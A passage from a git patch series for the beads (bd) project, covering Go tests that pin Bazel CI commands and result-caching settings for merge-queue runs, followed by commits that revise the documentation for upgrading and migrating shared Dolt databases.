t.Error("ci-gate run script no longer allow-lists CHECK_NO_BEADS_CHANGES's merge_group skip") + // Merge queue: the .beads guard runs on merge_group too, diffing + // against the queue's base commit (a merge group has no base_ref), and + // the gate no longer excuses its skip there. + noBeads := job.step(t, "Check for .beads/issues.jsonl changes") + if noBeads.Env["MERGE_GROUP_BASE_SHA"] != "${{ github.event.merge_group.base_sha }}" || + !strings.Contains(noBeads.Run, `base="${MERGE_GROUP_BASE_SHA:-origin/${GITHUB_BASE_REF:-main}}"`) || + !strings.Contains(noBeads.Run, `git diff --name-only "$base"...HEAD`) || strings.Contains(noBeads.Run, "${{") { + t.Errorf("fast-checks .beads guard must diff merge_group.base_sha (merge queue) or origin/$GITHUB_BASE_REF (pull_request) without interpolating expressions: env %v\n%s", noBeads.Env, noBeads.Run) + } + if strings.Contains(gateStep.Run, "CHECK_NO_BEADS_CHANGES") { + t.Error("ci-gate run script excuses a CHECK_NO_BEADS_CHANGES skip; the guard runs on merge_group too") } // Review N-6 (2026-10-03): pin the folded steps' actual commands/env, not @@ -4823,7 +4826,7 @@ func TestBazelIntegrationJob(t *testing.T) { } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") // EXCLUDE_TARGETS: TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers. - const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) } @@ -4882,6 +4885,9 @@ func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string } cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(step.Run, " ") wantCmd := `bazel test //... --config=` + config + ` --build_event_json_file="$RUNNER_TEMP/` + bep + `"` + // Every `bazel test` ends its configs with nightly's fresh-results + // switch (ci_merge_queue_test.go). + wantCmd = `bazel test //... --config=` + config + ` ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/` + bep + `"` if !strings.Contains(cmd, wantCmd) || !strings.Contains(step.Run, "set -o pipefail") || strings.Count(step.Run, "bazel test //") != 1 || strings.Contains(step.Run, "--config=remote-exec") || strings.Contains(step.Run, "--test_tag_filters") { t.Errorf("%s step --config=%s does not run exactly %q:\n%s", jobName, config, wantCmd, step.Run) @@ -5155,15 +5161,15 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { const bazelEmbeddedTestRun = `set -o pipefail start=$(date +%s) rc=0 -bazel test //... --config=embedded \ +bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"` // .bazelrc's --config=embedded, exactly and in order (review F4): no -// --test_filter, no -test.short/-test.run/-test.skip, no retries, no -// result caching. The conformance targets' own -test.run/-test.skip args +// --test_filter, no -test.short/-test.run/-test.skip, no retries (result +// caching as every lane's: nightly re-executes). The conformance targets' own -test.run/-test.skip args // (the legacy jobs' partition) are checked against pr-risk.yml below. var bazelEmbeddedRCLines = []string{ "test:embedded --@rules_go//go/config:race", @@ -5175,7 +5181,6 @@ var bazelEmbeddedRCLines = []string{ "test:embedded --test_arg=-test.parallel=4", "test:embedded --test_env=GO_TEST_WRAP_TESTV=1", "test:embedded --remote_download_regex=.*/test\\.xml$", - "test:embedded --nocache_test_results", "test:embedded --experimental_remote_cache_eviction_retries=0", } @@ -5217,9 +5222,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { "test:embedded --test_tag_filters=embedded", // The jobs pass no -parallel: GOMAXPROCS on 4-vCPU ubuntu-latest. "test:embedded --test_arg=-test.parallel=4", - // The tier's only pre-merge run (D2 step 1) must execute, like the - // legacy jobs' -test.count=1, never replay a cached result. - "test:embedded --nocache_test_results", } { if !rc[want] { t.Errorf(".bazelrc lacks %q", want) @@ -5248,13 +5250,11 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("setup-bazel's generated rc selects or narrows tests; it may only configure remote execution") } for line := range rc { - // Nothing turns result caching back on for the embedded lane (a - // later --cache_test_results wins over --nocache_test_results). + // Result caching: only the docker lane and nightly's fresh config + // turn it off (ci_merge_queue_test.go). if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && - line != "test:embedded --nocache_test_results" && line != "test:docker --nocache_test_results" && - line != "test:doltserver-proxied --nocache_test_results" && line != "test:doltserver-integration --nocache_test_results" && - line != bazelSoleRunNoCacheLine { - t.Errorf(".bazelrc %q: only test:embedded and test:docker set test result caching", line) + line != "test:docker --nocache_test_results" && line != bazelFreshRCLine { + t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) @@ -5405,7 +5405,7 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) } run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run - for _, required := range []string{"bazel test --config=pure " + bazelSoleRunArg + " //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { + for _, required := range []string{"bazel test --config=pure " + bazelSoleRunArg + " " + bazelFreshArg + " //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { if !strings.Contains(run, required) { t.Errorf("pure subset step does not contain %q:\n%s", required, run) } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index fe11f1062..fedfccbcb 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -38,7 +38,6 @@ const ( // BAZEL_COVERS_FORKS covers it). bazelSoleRunEnv = "${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }}" bazelSoleRunArg = `${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"}` - bazelSoleRunNoCacheLine = "test:sole-run --nocache_test_results" bazelSoleRunEvictionLine = "test:sole-run --experimental_remote_cache_eviction_retries=0" ) @@ -100,7 +99,7 @@ var bazelPRLaneRCLines = map[string][]string{ "build:js-wasm --use_target_platform_for_tests", "build:js-wasm --remote_download_outputs=toplevel", }, - "sole-run": {bazelSoleRunNoCacheLine, bazelSoleRunEvictionLine}, + "sole-run": {bazelSoleRunEvictionLine}, } // The steps of step 3's lanes that run Bazel, exactly (as review F4 of @@ -111,7 +110,7 @@ var bazelPRLaneSteps = map[string]map[string]string{ "bazel test //... --config=ci": `set -o pipefail start=$(date +%s) rc=0 -bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ +bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? @@ -122,14 +121,14 @@ exit "$rc"`, bazelPureJobName: { "Start every pure-Go artifact (gozstd contamination check)": `set -euo pipefail bazel run --config=pure //cmd/bd:bd -- version -bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ +bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ //internal/storage/embeddeddolt:embeddeddolt_test \ //internal/tracker:tracker_test \ --test_sharding_strategy=disabled \ '--test_arg=-test.run=^$' \ --test_env=BEADS_TEST_SKIP=dolt`, "Run pure-Go cmd/bd test subset (--config=pure)": `set -euo pipefail -bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} //cmd/bd:bd_test \ +bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \ --test_sharding_strategy=disabled \ "--test_arg=-test.run=$PURE_CMD_BD_TESTS" n="$(grep -c '&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"`, }, @@ -287,6 +286,22 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { add("covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", "remote", cov("true")), true, "") add("not covered, remote, legacy ran", prGateFor(t, lanes, "pull_request", "remote", cov("false")), true, "") add("merge_group, not covered, remote", prGateFor(t, lanes, "merge_group", "remote", cov("false")), true, "") + // The merge queue retires the legacy jobs like a same-repo PR + // (bazel-coverage covers every merge group): green with the lanes run + // remotely, red when a lane failed or the run was not remote. + add("merge_group, covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "merge_group", "remote", cov("true")), true, "") + for _, lane := range tier.bazelLanes { + sc := prGateFor(t, lanes, "merge_group", "remote", cov("true")) + sc.outputs[lane] = "failure" + add("merge_group, covered, "+lane+" failed", sc, false, tier.retiredID) + } + for _, mode := range []string{"skip", "cache"} { + sc := prGateFor(t, lanes, "merge_group", mode, cov("true")) + for _, lane := range tier.bazelLanes { + sc.outputs[lane] = "success" + } + add("merge_group, covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) + } // rbe-fork: a covered fork or Dependabot PR (BAZEL_COVERS_FORKS) whose // lanes ran remotely with a mint certificate. for _, mode := range []string{"fork-ro", "fork-rw"} { @@ -449,8 +464,9 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { detect := job.step(t, "Decide applicability") wantDetectEnv := map[string]string{ - "PR_BASE_SHA": "${{ github.event.pull_request.base.sha }}", - "PR_HEAD_SHA": "${{ github.event.pull_request.head.sha }}", + // The merge queue's bounds where there is no pull_request. + "PR_BASE_SHA": "${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }}", + "PR_HEAD_SHA": "${{ github.event.pull_request.head.sha || github.event.merge_group.head_sha }}", "PUSH_BEFORE_SHA": "${{ github.event.before }}", "PUSH_AFTER_SHA": "${{ github.sha }}", } diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 94e69ccee..90106e551 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -33,6 +33,10 @@ const ( prRiskWorkflowName = "pr-risk.yml" prRiskCoverageJobName = "bazel-coverage" prRiskPullRequestValue = "${{ github.event_name == 'pull_request' }}" + // A merge group (merge queue) is covered like a same-repo PR: it runs + // on this repository's gh-readonly-queue/* branch with the CI secrets + // and its actor is github-merge-queue[bot]. + prRiskMergeGroupValue = "${{ github.event_name == 'merge_group' }}" // pr-risk.yml's and pr.yml's gate id for the decision job's result. prRiskCoverageGateID = "BAZEL_COVERAGE" // build-embedded's artifact (embedded-test-binaries) feeds exactly the @@ -160,12 +164,20 @@ func (f rbeFacts) String() string { f.event, f.rbeVar, f.secret != "", f.fork, f.retired, f.dependabot, f.coversForks, f.mint) } -// covers: whether a pull_request with tier i's flag set is covered, the -// decision both workflows must take for tier i: same-repo, non-Dependabot -// PRs always; fork and Dependabot PRs while BAZEL_COVERS_FORKS is "true". -// Never what the mint says: a covered fork run it does not serve is red. +// covers: whether a run with tier i's flag set is covered, the decision +// both workflows must take for tier i: every merge group (the queue's +// branch is this repository's, with the CI secrets; bazel.yml's rbe job +// never treats it as a fork); same-repo, non-Dependabot PRs always; fork +// and Dependabot PRs while BAZEL_COVERS_FORKS is "true". Never what the +// mint says: a covered fork run it does not serve is red. func (f rbeFacts) covers(i int) bool { - return strings.EqualFold(f.retired[i], "true") && f.event == "pull_request" && + if !strings.EqualFold(f.retired[i], "true") { + return false + } + if f.event == "merge_group" { + return true + } + return f.event == "pull_request" && (!f.fork && !f.dependabot || strings.EqualFold(f.coversForks, "true")) } @@ -259,6 +271,8 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) return "" case prRiskPullRequestValue: return strconv.FormatBool(f.event == "pull_request") + case prRiskMergeGroupValue: + return strconv.FormatBool(f.event == "merge_group") case prRiskDependabotValue: return strconv.FormatBool(f.dependabot) case "${{ vars.RBE_WEST_WORKERS == 'true' }}": @@ -330,7 +344,7 @@ func TestPRRiskBazelCoverageJob(t *testing.T) { prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes, sameRepoBlacksmith2vcpu) } wantOutputs := map[string]string{} - wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "DEPENDABOT": prRiskDependabotValue, "COVERS_FORKS": prCoversForksValue} + wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "MERGE_GROUP": prRiskMergeGroupValue, "DEPENDABOT": prRiskDependabotValue, "COVERS_FORKS": prCoversForksValue} for _, r := range retiredTiers { wantOutputs[r.output] = "${{ steps.decide.outputs." + r.output + " }}" wantEnv[r.envKey] = r.retiredValue() @@ -708,8 +722,13 @@ func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { {"covered Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, both, true, "true", "ro"}, "fork-ro", coveredAll("true"), true, nil}, {"covered Dependabot PR, rbe-fork closed", rbeFacts{"pull_request", "", "", false, both, true, "true", "closed"}, "cache", coveredAll("true"), false, allRetired}, {"covered fork PR, only pr.yml's jobs retired, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, prOnly, false, "true", "closed"}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - {"merge_group", rbeFacts{"merge_group", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("false"), true, nil}, - {"merge_group, var unset", rbeFacts{"merge_group", "", "x", false, both, false, "false", ""}, "skip", coveredAll("false"), true, nil}, + // Merge queue: covered like a same-repo PR (the legacy tiers stay + // retired), so the Bazel lanes must run remotely and pass. + {"merge_group", rbeFacts{"merge_group", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("true"), true, nil}, + {"merge_group, kill switch (var unset)", rbeFacts{"merge_group", "", "x", false, both, false, "false", ""}, "skip", coveredAll("true"), false, allRetired}, + {"merge_group, executor secret missing", rbeFacts{"merge_group", "true", "", false, both, false, "false", ""}, "cache", coveredAll("true"), false, allRetired}, + {"merge_group, flags reverted, var unset", rbeFacts{"merge_group", "", "x", false, none, false, "false", ""}, "skip", coveredAll("false"), true, nil}, + {"merge_group, only embedded retired", rbeFacts{"merge_group", "true", "x", false, embOnly, false, "false", ""}, "remote", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, true, nil}, } { d := decide(t, c.f) if !reflect.DeepEqual(d.covered, c.covered) || d.mode != c.mode { @@ -1903,8 +1922,8 @@ func bazelTierTestRun(config string) string { // .bazelrc's --config=doltserver-proxied and --config=doltserver-integration, // exactly and in order (D2 step 2, as review F4 for embedded): no -// --test_filter, no -test.short/-test.run/-test.skip, no retries, no result -// caching. Their targets' own args (the conformance target's -test.run, the +// --test_filter, no -test.short/-test.run/-test.skip, no retries (results +// are cached like every lane's; nightly's --config=fresh re-executes). Their targets' own args (the conformance target's -test.run, the // legacy job's) are pinned by TestBazelRetiredLanesCannotBeNarrowed. var bazelDoltServerRCLines = map[string][]string{ "doltserver-proxied": { @@ -1918,7 +1937,6 @@ var bazelDoltServerRCLines = map[string][]string{ "test:doltserver-proxied --test_arg=-test.parallel=4", "test:doltserver-proxied --local_test_jobs=4", "test:doltserver-proxied --remote_download_regex=.*/test\\.(log|xml)$", - "test:doltserver-proxied --nocache_test_results", "test:doltserver-proxied --experimental_remote_cache_eviction_retries=0", }, "doltserver-integration": { @@ -1933,15 +1951,14 @@ var bazelDoltServerRCLines = map[string][]string{ "test:doltserver-integration --test_arg=-test.parallel=4", "test:doltserver-integration --local_test_jobs=4", "test:doltserver-integration --remote_download_regex=.*/test\\.(log|xml)$", - "test:doltserver-integration --nocache_test_results", "test:doltserver-integration --experimental_remote_cache_eviction_retries=0", }, } // D2 step 2, as review F2/F4 for embedded: the proxied and server lanes run -// exactly `bazel test //... --config=` with a BEP and nothing else, -// their configs are exactly the pinned lines (results never cached), and no -// .bazelrc line of any config turns caching back on for them. +// exactly `bazel test //... --config=` (plus nightly's BAZEL_FRESH) +// with a BEP and nothing else, their configs are exactly the pinned lines, +// and only test:docker and test:fresh set result caching. func TestBazelRetiredLanesArePinned(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) for lane, config := range bazelRetiredLaneConfigs { @@ -1963,9 +1980,8 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { if !reflect.DeepEqual(got, want) { t.Errorf(".bazelrc --config=%s lines changed; want exactly:\n%s\ngot:\n%s", config, strings.Join(want, "\n"), strings.Join(got, "\n")) } - if !contains(want, "test:"+config+" --nocache_test_results") { - t.Errorf("pinned --config=%s lacks --nocache_test_results: the tier's only pre-merge run must execute", config) - } + // Results are cached like every lane's; only nightly's + // --config=fresh re-executes them (ci_merge_queue_test.go). } // Review F1 (step 2): no whole-invocation retry after a remote cache // eviction in any retired lane (it would re-run, and could turn green, @@ -1990,14 +2006,13 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { } } // A later --cache_test_results (any config the lanes use) would win. - allowed := map[string]bool{"test:docker --nocache_test_results": true, "test:embedded --nocache_test_results": true, bazelSoleRunNoCacheLine: true} - for config := range bazelDoltServerRCLines { - allowed["test:"+config+" --nocache_test_results"] = true - } + // Only the docker lane and nightly's --config=fresh (appended only when + // the caller asks, ci_merge_queue_test.go) turn result caching off. + allowed := map[string]bool{"test:docker --nocache_test_results": true, bazelFreshRCLine: true} for _, line := range strings.Split(rc, "\n") { line = strings.TrimSpace(line) if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && !allowed[line] { - t.Errorf(".bazelrc %q: only the docker and retired tiers' configs set test result caching (to off)", line) + t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) } } } From 384001a22e68df0b42501a37dc5ed158852cd60f Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Mon, 5 Oct 2026 21:46:05 -0700 Subject: [PATCH 113/325] docs(upgrading): adopt a migrated remote without relying on bd bootstrap (#7280) The upgrade docs told every non-migrating clone to adopt the migrated database with `bd bootstrap`, claiming it replaces the local database. On a clone that already has one, bootstrap prints "Nothing to do." and exits 0, leaving the clone on the old schema (#6687). Document the flow that works: every clone backs up with the old binary, other clones `bd dolt pull` on the old binary after the migrator pushes and then upgrade; a clone that already upgraded moves its local database aside, re-clones with `bd bootstrap`, and re-imports the backup. Align the gate description, shared-server note, and init-safety summary. Also add a post-migration step to run `bd recompute-blocked` once per database, since migration 0059 can over-set is_blocked and silently hide ready work (#7037). Refs #6687, #7037 --- docs/getting-started/upgrading.md | 96 +++++++++++++++++++++++-------- docs/recovery/init-safety.md | 14 +++-- 2 files changed, 81 insertions(+), 29 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 3005b09f1..634c1ac99 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -37,8 +37,11 @@ bd info --whats-new `bd migrate` `bd dolt push` -Other clones should install the new binary and run `bd bootstrap`, not -independently migrate. The full procedure is below. +Other clones must not migrate independently. After the migrator pushes, each +other clone runs `bd dolt pull` with its current binary, then installs the new +one. A clone that already has the new binary adopts the migrated database by +moving its local database aside and running `bd bootstrap`; `bd bootstrap` on +its own leaves an existing database untouched. The full procedure is below. ## Upgrading @@ -196,6 +199,23 @@ and picks up where it left off. Those lines go to stderr, and only when stderr is a terminal, so a piped or CI upgrade prints nothing at all. Silence there is not a stall either. +#### Repair blocked flags after migrating + +Migration 0059 can mark issues as blocked when they are not, which drops them +out of `bd ready` without any error +([#7037](https://github.com/gastownhall/beads/issues/7037)). It happens on a +Dolt server older than 2.4.0, and the embedded engine is likely affected too. +Once a database has migrated, run this once for that database on every clone: + +```bash +bd recompute-blocked --json +``` + +It recomputes the flag from the dependency graph, so it is safe on any +database, and `"rows_corrected"` greater than zero means the database was hit. +It works in embedded, server and proxied-server mode, so run it even where +`bd doctor` cannot check blocked state. + #### Upgrade every client that shares a store, together A bd binary refuses a database migrated past the schema it knows, rather than @@ -226,8 +246,8 @@ a Dolt remote configured. Migrating more than one clone of a shared remote independently forks the schema, after which `bd dolt pull` can no longer merge — the break is silent and, across a primary-key-reshaping migration, unrecoverable ([#4259](https://github.com/gastownhall/beads/issues/4259)). The supported flow -is: one machine migrates and publishes; every other clone re-clones the migrated -database. +is: one machine migrates and publishes; every other clone takes the migrated +database from the remote instead of migrating its own. This applies to **every** upgrade that crosses a pending migration on a remote-backed database — the same procedure whether you are moving to a @@ -244,7 +264,10 @@ The gate is **state-aware by default** server always stops for consent, because migrating it changes the schema every connected client sees (see [Shared servers](#shared-servers) below). - **stops and directs you to adopt** (`bd bootstrap`) when the remote has - already been migrated by another clone. + already been migrated by another clone. On a clone that already has a local + database, `bd bootstrap` by itself reports `Nothing to do.` and changes + nothing; adopt with the steps under *Multiple clones sharing one remote* + below. - **stops for a human decision** when this clone and the remote applied different content for the same migration (a genuine fork), or when the remote's schema state cannot be read from the cached ref. @@ -302,28 +325,53 @@ the situation. **Multiple clones sharing one remote:** ```bash -# 1. With your CURRENT (old) binary, on EVERY clone: publish all work and get in -# sync, then stop editing until the upgrade is done. +# 1. With your CURRENT (old) binary, on EVERY clone: publish all work, get in +# sync and back up, then stop editing until the upgrade is done. bd dolt push bd dolt pull - -# 2. Designated migrator ONLY: back up, install the new binary, then migrate -# and publish. bd export --all -o .beads/backup/pre-migrate.jsonl + +# 2. Designated migrator ONLY: install the new binary, then migrate and publish. bd migrate bd dolt push -# 3. Every OTHER clone: install the new binary, then ADOPT the migrated database. -# (bd dolt pull is refused here — the clone still has pending migrations — so -# re-clone instead. Safe because step 1 already pushed all work.) -bd bootstrap +# 3. Every OTHER clone, after the migrator has pushed: pull the migrated +# database while still on the CURRENT binary, then install the new binary. +bd dolt pull +bd version # after installing: confirm the new version ``` -`bd bootstrap` replaces the local database, so any work not pushed in step 1 is -lost — that is why step 1 publishes everything first. If a clone was instead -migrated independently and `bd dolt pull` later fails with `cannot merge because -table dependencies has different primary keys in its common ancestor`, the -schema has already forked — follow the recovery playbook: +The pull in step 3 brings the migrated schema down with the data, so the new +binary finds nothing to migrate and the clone keeps its local state. Between +that pull and the install, the old binary refuses the database (it is now +newer than the schema the old binary knows), so install straight away. + +**A clone that already runs the new binary** cannot take step 3 as written: the +gate refuses `bd dolt pull` while the clone has pending migrations. Adopt the +migrated database by re-cloning it. `bd bootstrap` never replaces an existing +database — run against one, it prints `Database already exists` and +`Nothing to do.` and leaves the clone on the old schema — so move the local +database aside first, then re-apply the step 1 backup: + +```bash +mv .beads/embeddeddolt .beads/backup/embeddeddolt.pre-adopt # embedded mode (the default) +bd bootstrap # clones the migrated database from the remote +bd import .beads/backup/pre-migrate.jsonl # restores what a re-clone cannot bring +``` + +The re-clone brings only what the remote has, so the import restores this +clone's clone-local beads (wisps, for example) and anything step 1 did not +push; rows the remote already holds in a newer version are skipped as stale. +The backup has to come from the old binary, as in step 1: on a clone with +pending migrations the new binary's `bd export` fails. Keep the moved-aside +directory until you have checked the result — the old binary can still open +it. In server mode the database lives under `.beads/dolt/` instead; stop the +server and move the database outside `.beads/dolt/` (see +[re-clone-gotchas](/recovery/init-safety#re-clone-gotchas)). + +If a clone was instead migrated independently and `bd dolt pull` later fails +with `cannot merge because table dependencies has different primary keys in its +common ancestor`, the schema has already forked — follow the recovery playbook: [the pk-fork-refused runbook](/recovery/init-safety#pk-fork-refused). @@ -415,10 +463,12 @@ hazards now apply at once — the co-resident lockout above and the cross-clone fork of [Remote-backed databases](#remote-backed-databases-and-multiple-clones) — so `bd` requires the stronger designated-migrator consent it describes: `bd migrate --force`, from exactly one machine, followed by `bd dolt push`. If -another clone has already migrated and pushed, adopt its database with -`bd bootstrap` instead of migrating. On a shared server, adopting also promotes -the schema for every client of that server, so step 1 still comes first either -way. +another clone has already migrated and pushed, adopt its database instead of +migrating, as described under +[Remote-backed databases](#remote-backed-databases-and-multiple-clones) — +`bd bootstrap` alone does not replace an existing database. On a shared +server, adopting also promotes the schema for every client of that server, so +step 1 still comes first either way. Migrating is one-way for the fleet: after step 2, a client still on the older diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index 18aa6da05..1592552f7 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -427,12 +427,14 @@ skipping straight to `bd list`) can hit either of two live gotchas — see has the recipe. Plan for the rule, not the exception. - **One designated migrator**: upgrade one machine, let it migrate, then `bd dolt push`. -- **Every other clone adopts, does not pull**: after the migrator pushes, each - other clone upgrades the binary and runs `bd bootstrap` to adopt the migrated - database. `bd dolt pull` is *refused* while the clone still has pending - migrations, so do not rely on it; the "sync before" step above is what - preserves these clones' work, because `bd bootstrap` replaces the local - database. +- **Every other clone takes the migrated database, does not migrate**: after + the migrator pushes, each other clone runs `bd dolt pull` while still on the + *old* binary, then upgrades. Once the new binary is installed that pull is + *refused* while the clone has pending migrations, and `bd bootstrap` never + replaces an existing database — on its own it reports `Nothing to do.` — so + a clone that upgraded first must move its local database aside before + `bd bootstrap` can re-clone. The recipe is in + [Remote-backed databases and multiple clones](/getting-started/upgrading#remote-backed-databases-and-multiple-clones). --- From b1bee123bac111827d15c5cdb427eda9f6c5d229 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Mon, 5 Oct 2026 21:58:43 -0700 Subject: [PATCH 114/325] docs(upgrading): reads fail too between upgrading clients and migrating a shared server (#7284) The shared-server upgrade steps said an upgraded client keeps reading the old schema and only has writes refused. In practice most reads fail as well: bd list, bd show and bd ready stop with "table not found: leases" because 1.3 reads expect tables the old schema lacks. Say so, and tell operators to run the migration as soon as the clients are upgraded rather than treating the window as merely degraded. Refs #6929, #7038 --- docs/getting-started/upgrading.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 634c1ac99..649383129 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -443,8 +443,8 @@ configured, though the two cases consent differently Upgrade one server's clients like this: ```bash -# 1. Upgrade bd on every client of the server. Reads keep working throughout — -# an upgraded client reads the old schema, it just cannot write to it. +# 1. Upgrade bd on every client of the server. Until step 2, an upgraded +# client refuses writes and most reads fail (see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -454,9 +454,11 @@ bd migrate schema # add --global for the shared global database bd doctor ``` -Between steps 1 and 2, an upgraded client reads normally and its writes are -refused with the gate's guidance. Nothing is silently promoted, so there is no -deadline — but the window is a degraded one, so keep it short. +Between steps 1 and 2, an upgraded client refuses writes with the gate's +guidance, and most reads fail too: `bd list`, `bd show` and `bd ready` stop +with `table not found: leases`, because 1.3 reads expect tables the old schema +lacks. Nothing is silently promoted, so there is no deadline, but nothing works +in that window either, so run step 2 as soon as the clients are upgraded. **If the shared server also has a Dolt remote**, step 2 is not enough. Two hazards now apply at once — the co-resident lockout above and the cross-clone From f05b2b0a6ad1aadb3be8052439f903a020320365 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Tue, 6 Oct 2026 10:56:39 -0700 Subject: [PATCH 115/325] docs: scope the shared-server read failure to pre-1.2.0 schemas; add eight community tools (#7301) * docs(upgrading): scope the shared-server read failure to pre-1.2.0 schemas #7284 said most reads fail between upgrading a shared server's clients and running `bd migrate schema`. That only holds for a schema older than 1.2.0: the leases table ships with main migration 0055 and ignored 0012 and 0016, all in v1.2.0. From 1.2.x, reads keep working and only writes are refused (probed against a 1.2.1 server with 1.3.1 and main builds). Restore the original wording and add the pre-1.2.0 caveat, naming only the observed `bd list` failure from #6929. Refs #6929 * docs: add beads-viewer (Paseo plugin) to community tools Co-Authored-By: Claude Opus 5.5 (cherry picked from commit ad28cf00ba48431ad7c9a0c3e663119cb30f2f27) * Add LazyBeads (lb) to community tools - List lesliesrussell/lazybeads under Terminal UIs - Note that it is unrelated to the earlier lazybeads under Historical Co-Authored-By: Claude Opus 5.5 (cherry picked from commit 